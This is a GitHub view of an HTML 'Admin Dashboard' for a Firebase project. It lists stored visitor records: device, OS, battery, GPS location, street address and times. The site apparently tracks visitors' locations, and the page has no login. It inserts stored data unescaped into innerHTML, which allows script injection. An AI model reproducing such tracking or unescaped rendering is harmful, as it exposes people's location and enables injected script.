csm-mohasin.github.io/admin.html at main · csm-mohasin/csm-mohasin.github.io · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<!DOCTYPE html>
<html>
<head>
<title>Admin Panel</title>

<script type="module">
import { initializeApp } from "https://www.gstatic.com/firebasejs/10.7.1/firebase-app.js";
import { getFirestore, collection, getDocs } from "https://www.gstatic.com/firebasejs/10.7.1/firebase-firestore.js";

const firebaseConfig = {
  apiKey: "AIzaSyCsGBSRCHVUhXQZ5DNMEZWgQWk1gxMF1E4",
  authDomain: "signup-d32c5.firebaseapp.com",
  projectId: "signup-d32c5",
  storageBucket: "signup-d32c5.firebasestorage.app",
  messagingSenderId: "583812949955",
  appId: "1:583812949955:web:fab1bb7be94bc1b4ab3f76",
  measurementId: "G-VLC3QHK8CG"
};

const app = initializeApp(firebaseConfig);
const db = getFirestore(app);

async function loadData() {
  const q = await getDocs(collection(db, "visitors"));
  q.forEach(docSnap => {
    let d = docSnap.data();
    document.getElementById("log").innerHTML += `
      <div style="margin:6px;padding:8px;border:1px solid #ccc;border-radius:6px">
        📱 <b>Device:</b> ${d.device}<br>
        🌍 <b>OS:</b> ${d.os}<br>
        🔌 <b>Battery:</b> ${d.battery} (Charging: ${d.charging})<br>
        📍 <b>GPS:</b> ${d.location}<br>
        🏠 <b>Address:</b> ${d.address}<br>
        ⏱️ <b>Time:</b> ${d.time?.toDate ? d.time.toDate() : d.time}<br>
        🕒 Last Update: ${d.lastUpdate || "N/A"}
      </div>
    `;
  });
}

window.onload = loadData;
</script>
</head>

<body style="font-family:Arial;">
<h2>🔥 Admin Dashboard</h2>
<div id="log"></div>
</body>
</html>